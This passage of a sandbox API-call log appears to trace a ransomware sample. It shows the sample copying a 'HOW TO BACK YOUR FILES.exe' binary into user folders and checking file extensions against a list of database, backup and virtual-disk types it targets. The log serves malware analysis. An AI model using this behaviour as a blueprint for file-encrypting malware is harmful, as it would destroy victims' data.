BACK YOUR FILES.exe") returned="Pictures\\HOW TO BACK YOUR FILES.exe" [0049.521] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Public\\Pictures\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\public\\pictures\\how to back your files.exe"), bFailIfExists=1) returned 0 [0049.521] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xbd2fa6a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbd2fa6a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recorded TV", cAlternateFileName="RECORD~1")) returned 1 [0049.521] lstrcmpiW (lpString1="Recorded TV", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0049.521] lstrcmpiW (lpString1="Recorded TV", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.521] lstrcpyW (in: lpString1=0x241e868, lpString2="Recorded TV" | out: lpString1="Recorded TV") returned="Recorded TV" [0049.521] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50b5b8 [0049.521] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x38) returned 0x529bd0 [0049.521] lstrcatW (in: lpString1="Recorded TV", lpString2="\\" | out: lpString1="Recorded TV\\") returned="Recorded TV\\" [0049.521] lstrcatW (in: lpString1="Recorded TV\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Recorded TV\\HOW TO BACK YOUR FILES.exe") returned="Recorded TV\\HOW TO BACK YOUR FILES.exe" [0049.521] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Public\\Recorded TV\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\public\\recorded tv\\how to back your files.exe"), bFailIfExists=1) returned 0 [0049.522] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbd2fa6a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbd2fa6a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 1 [0049.522] lstrcmpiW (lpString1="Videos", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0049.522] lstrcmpiW (lpString1="Videos", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.522] lstrcpyW (in: lpString1=0x241e868, lpString2="Videos" | out: lpString1="Videos") returned="Videos" [0049.522] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50b5d0 [0049.522] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x2e) returned 0x51aa28 [0049.522] lstrcatW (in: lpString1="Videos", lpString2="\\" | out: lpString1="Videos\\") returned="Videos\\" [0049.522] lstrcatW (in: lpString1="Videos\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Videos\\HOW TO BACK YOUR FILES.exe") returned="Videos\\HOW TO BACK YOUR FILES.exe" [0049.522] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Public\\Videos\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\public\\videos\\how to back your files.exe"), bFailIfExists=1) returned 0 [0049.522] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbd2fa6a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbd2fa6a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 0 [0049.522] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0049.522] ReleaseMutex (hMutex=0xec) returned 1 [0049.523] CloseHandle (hObject=0xec) returned 1 [0049.523] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData" [0049.523] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50e8b8 | out: hHeap=0x4f0000) returned 1 [0049.523] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x508ff0 | out: hHeap=0x4f0000) returned 1 [0049.523] lstrlenW (lpString="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData") returned 54 [0049.523] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\920B3E35BF28A2ED39A88578B80C5D82") returned 0xec [0049.523] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0049.523] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData" [0049.523] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0049.523] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\how to back your files.exe"), bFailIfExists=1) returned 0 [0049.523] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0049.523] GetLastError () returned 0x0 [0049.523] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0049.523] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x532d08 [0049.524] ReadFile (in: hFile=0xf4, lpBuffer=0x532d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x532d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0049.524] CloseHandle (hObject=0xf4) returned 1 [0049.524] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532d08 | out: hHeap=0x4f0000) returned 1 [0049.524] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0049.524] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbcdeb7e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbcdeb7e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0049.524] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0049.525] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0049.525] lstrcpyW (in: lpString1=0x241e8b6, lpString2="Local" | out: lpString1="Local") returned="Local" [0049.525] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x508ff0 [0049.525] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7a) returned 0x5192b0 [0049.525] lstrcatW (in: lpString1="Local", lpString2="\\" | out: lpString1="Local\\") returned="Local\\" [0049.525] lstrcatW (in: lpString1="Local\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Local\\HOW TO BACK YOUR FILES.exe") returned="Local\\HOW TO BACK YOUR FILES.exe" [0049.525] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\how to back your files.exe"), bFailIfExists=1) returned 0 [0049.525] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="LocalLow", cAlternateFileName="")) returned 1 [0049.525] lstrcmpiW (lpString1="LocalLow", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0049.525] lstrcmpiW (lpString1="LocalLow", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.525] lstrcpyW (in: lpString1=0x241e8b6, lpString2="LocalLow" | out: lpString1="LocalLow") returned="LocalLow" [0049.525] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50b5e8 [0049.525] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x80) returned 0x519338 [0049.525] lstrcatW (in: lpString1="LocalLow", lpString2="\\" | out: lpString1="LocalLow\\") returned="LocalLow\\" [0049.525] lstrcatW (in: lpString1="LocalLow\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="LocalLow\\HOW TO BACK YOUR FILES.exe") returned="LocalLow\\HOW TO BACK YOUR FILES.exe" [0049.525] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\how to back your files.exe"), bFailIfExists=1) returned 1 [0049.527] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbcdeb7e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbcdeb7e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 1 [0049.528] lstrcmpiW (lpString1="Roaming", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0049.528] lstrcmpiW (lpString1="Roaming", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.528] lstrcpyW (in: lpString1=0x241e8b6, lpString2="Roaming" | out: lpString1="Roaming") returned="Roaming" [0049.528] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50b600 [0049.528] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7e) returned 0x5193c0 [0049.528] lstrcatW (in: lpString1="Roaming", lpString2="\\" | out: lpString1="Roaming\\") returned="Roaming\\" [0049.528] lstrcatW (in: lpString1="Roaming\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Roaming\\HOW TO BACK YOUR FILES.exe") returned="Roaming\\HOW TO BACK YOUR FILES.exe" [0049.528] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\how to back your files.exe"), bFailIfExists=1) returned 0 [0049.528] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbcdeb7e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbcdeb7e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 0 [0049.528] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0049.528] ReleaseMutex (hMutex=0xec) returned 1 [0049.528] CloseHandle (hObject=0xec) returned 1 [0049.528] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data" [0049.528] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0049.528] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x508f00 | out: hHeap=0x4f0000) returned 1 [0049.528] lstrlenW (lpString="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data") returned 63 [0049.528] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\4FAAF43DFC8CCA6F9D78A08B9CB90933") returned 0xec [0049.529] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0049.529] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data" [0049.529] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0049.529] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\how to back your files.exe"), bFailIfExists=1) returned 0 [0049.529] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0049.529] GetLastError () returned 0x0 [0049.529] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0049.529] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x532d08 [0049.529] ReadFile (in: hFile=0xf4, lpBuffer=0x532d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x532d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0049.530] CloseHandle (hObject=0xf4) returned 1 [0049.530] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532d08 | out: hHeap=0x4f0000) returned 1 [0049.530] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0049.530] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbcdeb7e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbcdeb7e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0049.531] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0049.531] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0049.531] lstrcpyW (in: lpString1=0x241e8c8, lpString2="0c5kw1m6nMri2-3ecf.png" | out: lpString1="0c5kw1m6nMri2-3ecf.png") returned="0c5kw1m6nMri2-3ecf.png" [0049.531] lstrlenW (lpString="0c5kw1m6nMri2-3ecf.png") returned 22 [0049.531] lstrlenW (lpString="Athena865") returned 9 [0049.531] lstrcmpiW (lpString1="-3ecf.png", lpString2="Athena865") returned -1 [0049.531] lstrlenW (lpString=".dll") returned 4 [0049.531] lstrcmpiW (lpString1="0c5kw1m6nMri2-3ecf.png", lpString2=".dll") returned 1 [0049.531] lstrlenW (lpString=".lnk") returned 4 [0049.531] lstrcmpiW (lpString1="0c5kw1m6nMri2-3ecf.png", lpString2=".lnk") returned 1 [0049.531] lstrlenW (lpString=".ini") returned 4 [0049.531] lstrcmpiW (lpString1="0c5kw1m6nMri2-3ecf.png", lpString2=".ini") returned 1 [0049.531] lstrlenW (lpString=".sys") returned 4 [0049.531] lstrcmpiW (lpString1="0c5kw1m6nMri2-3ecf.png", lpString2=".sys") returned 1 [0049.531] lstrlenW (lpString="0c5kw1m6nMri2-3ecf.png") returned 22 [0049.531] lstrlenW (lpString="bak") returned 3 [0049.531] lstrcmpiW (lpString1="png", lpString2="bak") returned 1 [0049.531] lstrlenW (lpString="ba_") returned 3 [0049.531] lstrcmpiW (lpString1="png", lpString2="ba_") returned 1 [0049.531] lstrlenW (lpString="dbb") returned 3 [0049.531] lstrcmpiW (lpString1="png", lpString2="dbb") returned 1 [0049.531] lstrlenW (lpString="vmdk") returned 4 [0049.531] lstrcmpiW (lpString1=".png", lpString2="vmdk") returned -1 [0049.531] lstrlenW (lpString="rar") returned 3 [0049.531] lstrcmpiW (lpString1="png", lpString2="rar") returned -1 [0049.531] lstrlenW (lpString="zip") returned 3 [0049.531] lstrcmpiW (lpString1="png", lpString2="zip") returned -1 [0049.531] lstrlenW (lpString="tgz") returned 3 [0049.531] lstrcmpiW (lpString1="png", lpString2="tgz") returned -1 [0049.531] lstrlenW (lpString="vbox") returned 4 [0049.531] lstrcmpiW (lpString1=".png", lpString2="vbox") returned -1 [0049.531] lstrlenW (lpString="vdi") returned 3 [0049.532] lstrcmpiW (lpString1="png", lpString2="vdi") returned -1 [0049.532] lstrlenW (lpString="vhd") returned 3 [0049.532] lstrcmpiW (lpString1="png", lpString2="vhd") returned -1 [0049.532] lstrlenW (lpString="vhdx") returned 4 [0049.532] lstrcmpiW (lpString1=".png", lpString2="vhdx") returned -1 [0049.532] lstrlenW (lpString="avhd") returned 4 [0049.532] lstrcmpiW (lpString1=".png", lpString2="avhd") returned -1 [0049.532] lstrlenW (lpString="db") returned 2 [0049.532] lstrcmpiW (lpString1="ng", lpString2="db") returned 1 [0049.532] lstrlenW (lpString="db2") returned 3 [0049.532] lstrcmpiW (lpString1="png", lpString2="db2") returned 1 [0049.532] lstrlenW (lpString="db3") returned 3 [0049.532] lstrcmpiW (lpString1="png", lpString2="db3") returned 1 [0049.532] lstrlenW (lpString="dbf") returned 3 [0049.532] lstrcmpiW (lpString1="png", lpString2="dbf") returned 1 [0049.532] lstrlenW (lpString="mdf") returned 3 [0049.532] lstrcmpiW (lpString1="png", lpString2="mdf") returned 1 [0049.532] lstrlenW (lpString="mdb") returned 3 [0049.532] lstrcmpiW (lpString1="png", lpString2="mdb") returned 1 [0049.532] lstrlenW (lpString="sql") returned 3 [0049.532] lstrcmpiW (lpString1="png", lpString2="sql") returned -1 [0049.532] lstrlenW (lpString="sqlite") returned 6 [0049.532] lstrcmpiW (lpString1="cf.png", lpString2="sqlite") returned -1 [0049.532] lstrlenW (lpString="sqlite3") returned 7 [0049.532] lstrcmpiW (lpString1="ecf.png", lpString2="sqlite3") returned -1 [0049.532] lstrlenW (lpString="sqlitedb") returned 8 [0049.532] lstrcmpiW (lpString1="3ecf.png", lpString2="sqlitedb") returned -1 [0049.532] lstrlenW (lpString="xml") returned 3 [0049.532] lstrcmpiW (lpString1="png", lpString2="xml") returned -1 [0049.532] lstrlenW (lpString="$er") returned 3 [0049.532] lstrcmpiW (lpString1="png", lpString2="$er") returned 1 [0049.533] lstrlenW (lpString="4dd") returned 3 [0049.533] lstrcmpiW (lpString1="png", lpString2="4dd") returned 1 [0049.533] lstrlenW (lpString="4dl") returned 3 [0049.533] lstrcmpiW (lpString1="png", lpString2="4dl") returned 1 [0049.533] lstrlenW (lpString="^^^") returned 3 [0049.533] lstrcmpiW (lpString1="png", lpString2="^^^") returned 1 [0049.533] lstrlenW (lpString="abs") returned 3 [0049.533] lstrcmpiW (lpString1="png", lpString2="abs") returned 1 [0049.533] lstrlenW (lpString="abx") returned 3 [0049.533] lstrcmpiW (lpString1="png", lpString2="abx") returned 1 [0049.533] lstrlenW (lpString="accdb") returned 5 [0049.533] lstrcmpiW (lpString1="f.png", lpString2="accdb") returned 1 [0049.533] lstrlenW (lpString="accdc") returned 5 [0049.533] lstrcmpiW (lpString1="f.png", lpString2="accdc") returned 1 [0049.533] lstrlenW (lpString="accde") returned 5 [0049.533] lstrcmpiW (lpString1="f.png", lpString2="accde") returned 1 [0049.533] lstrlenW (lpString="accdr") returned 5 [0049.533] lstrcmpiW (lpString1="f.png", lpString2="accdr") returned 1 [0049.533] lstrlenW (lpString="accdt") returned 5 [0049.533] lstrcmpiW (lpString1="f.png", lpString2="accdt") returned 1 [0049.533] lstrlenW (lpString="accdw") returned 5 [0049.533] lstrcmpiW (lpString1="f.png", lpString2="accdw") returned 1 [0049.533] lstrlenW (lpString="accft") returned 5 [0049.533] lstrcmpiW (lpString1="f.png", lpString2="accft") returned 1 [0049.533] lstrlenW (lpString="adb") returned 3 [0049.533] lstrcmpiW (lpString1="png", lpString2="adb") returned 1 [0049.533] lstrlenW (lpString="adb") returned 3 [0049.533] lstrcmpiW (lpString1="png", lpString2="adb") returned 1 [0049.533] lstrlenW (lpString="ade") returned 3 [0049.533] lstrcmpiW (lpString1="png", lpString2="ade") returned 1 [0049.533] lstrlenW (lpString="adf") returned 3 [0049.533] lstrcmpiW (lpString1="png", lpString2="adf") returned 1 [0049.533] lstrlenW (lpString="adn") returned 3 [0049.533] lstrcmpiW (lpString1="png", lpString2="adn") returned 1 [0049.534] lstrlenW (lpString="adp") returned 3 [0049.534] lstrcmpiW (lpString1="png", lpString2="adp") returned 1 [0049.534] lstrlenW (lpString="alf") returned 3 [0049.534] lstrcmpiW (lpString1="png", lpString2="alf") returned 1 [0049.534] lstrlenW (lpString="ask") returned 3 [0049.534] lstrcmpiW (lpString1="png", lpString2="ask") returned 1 [0049.534] lstrlenW (lpString="btr") returned 3 [0049.534] lstrcmpiW (lpString1="png", lpString2="btr") returned 1 [0049.534] lstrlenW (lpString="cat") returned 3 [0049.534] lstrcmpiW (lpString1="png", lpString2="cat") returned 1 [0049.534] lstrlenW (lpString="cdb") returned 3 [0049.534] lstrcmpiW (lpString1="png", lpString2="cdb") returned 1 [0049.534] lstrlenW (lpString="ckp") returned 3 [0049.534] lstrcmpiW (lpString1="png", lpString2="ckp") returned 1 [0049.534] lstrlenW (lpString="cma") returned 3 [0049.534] lstrcmpiW (lpString1="png", lpString2="cma") returned 1 [0049.534] lstrlenW (lpString="cpd") returned 3 [0049.534] lstrcmpiW (lpString1="png", lpString2="cpd") returned 1 [0049.534] lstrlenW (lpString="dacpac") returned 6 [0049.534] lstrcmpiW (lpString1="cf.png", lpString2="dacpac") returned -1 [0049.534] lstrlenW (lpString="dad") returned 3 [0049.534] lstrcmpiW (lpString1="png", lpString2="dad") returned 1 [0049.534] lstrlenW (lpString="dadiagrams") returned 10 [0049.534] lstrcmpiW (lpString1="2-3ecf.png", lpString2="dadiagrams") returned -1 [0049.534] lstrlenW (lpString="daschema") returned 8 [0049.534] lstrcmpiW (lpString1="3ecf.png", lpString2="daschema") returned -1 [0049.534] lstrlenW (lpString="db-journal") returned 10 [0049.534] lstrcmpiW (lpString1="2-3ecf.png", lpString2="db-journal") returned -1 [0049.534] lstrlenW (lpString="db-shm") returned 6 [0049.534] lstrcmpiW (lpString1="cf.png", lpString2="db-shm") returned -1 [0049.534] lstrlenW (lpString="db-wal") returned 6 [0049.534] lstrcmpiW (lpString1="cf.png", lpString2="db-wal") returned -1 [0049.534] lstrlenW (lpString="dbc") returned 3 [0049.534] lstrcmpiW (lpString1="png", lpString2="dbc") returned 1 [0049.535] lstrlenW (lpString="dbs") returned 3 [0049.535] lstrcmpiW (lpString1="png", lpString2="dbs") returned 1 [0049.535] lstrlenW (lpString="dbt") returned 3 [0049.535] lstrcmpiW (lpString1="png", lpString2="dbt") returned 1 [0049.535] lstrlenW (lpString="dbv") returned 3 [0049.535] lstrcmpiW (lpString1="png", lpString2="dbv") returned 1 [0049.535] lstrlenW (lpString="dbx") returned 3 [0049.535] lstrcmpiW (lpString1="png", lpString2="dbx") returned 1 [0049.535] lstrlenW (lpString="dcb") returned 3 [0049.535] lstrcmpiW (lpString1="png", lpString2="dcb") returned 1 [0049.535] lstrlenW (lpString="dct") returned 3 [0049.535] lstrcmpiW (lpString1="png", lpString2="dct") returned 1 [0049.535] lstrlenW (lpString="dcx") returned 3 [0049.535] lstrcmpiW (lpString1="png", lpString2="dcx") returned 1 [0049.535] lstrlenW (lpString="ddl") returned 3 [0049.535] lstrcmpiW (lpString1="png", lpString2="ddl") returned 1 [0049.535] lstrlenW (lpString="dlis") returned 4 [0049.535] lstrcmpiW (lpString1=".png", lpString2="dlis") returned -1 [0049.535] lstrlenW (lpString="dp1") returned 3 [0049.535] lstrcmpiW (lpString1="png", lpString2="dp1") returned 1 [0049.535] lstrlenW (lpString="dqy") returned 3 [0049.535] lstrcmpiW (lpString1="png", lpString2="dqy") returned 1 [0049.535] lstrlenW (lpString="dsk") returned 3 [0049.535] lstrcmpiW (lpString1="png", lpString2="dsk") returned 1 [0049.535] lstrlenW (lpString="dsn") returned 3 [0049.535] lstrcmpiW (lpString1="png", lpString2="dsn") returned 1 [0049.535] lstrlenW (lpString="dtsx") returned 4 [0049.535] lstrcmpiW (lpString1=".png", lpString2="dtsx") returned -1 [0049.535] lstrlenW (lpString="dxl") returned 3 [0049.535] lstrcmpiW (lpString1="png", lpString2="dxl") returned 1 [0049.535] lstrlenW (lpString="eco") returned 3 [0049.535] lstrcmpiW (lpString1="png", lpString2="eco") returned 1 [0049.535] lstrlenW (lpString="ecx") returned 3 [0049.536] lstrcmpiW (lpString1="png", lpString2="ecx") returned 1 [0049.536] lstrlenW (lpString="edb") returned 3 [0049.536] lstrcmpiW (lpString1="png", lpString2="edb") returned 1 [0049.536] lstrlenW (lpString="epim") returned 4 [0049.536] lstrcmpiW (lpString1=".png", lpString2="epim") returned -1 [0049.536] lstrlenW (lpString="fcd") returned 3 [0049.536] lstrcmpiW (lpString1="png", lpString2="fcd") returned 1 [0049.536] lstrlenW 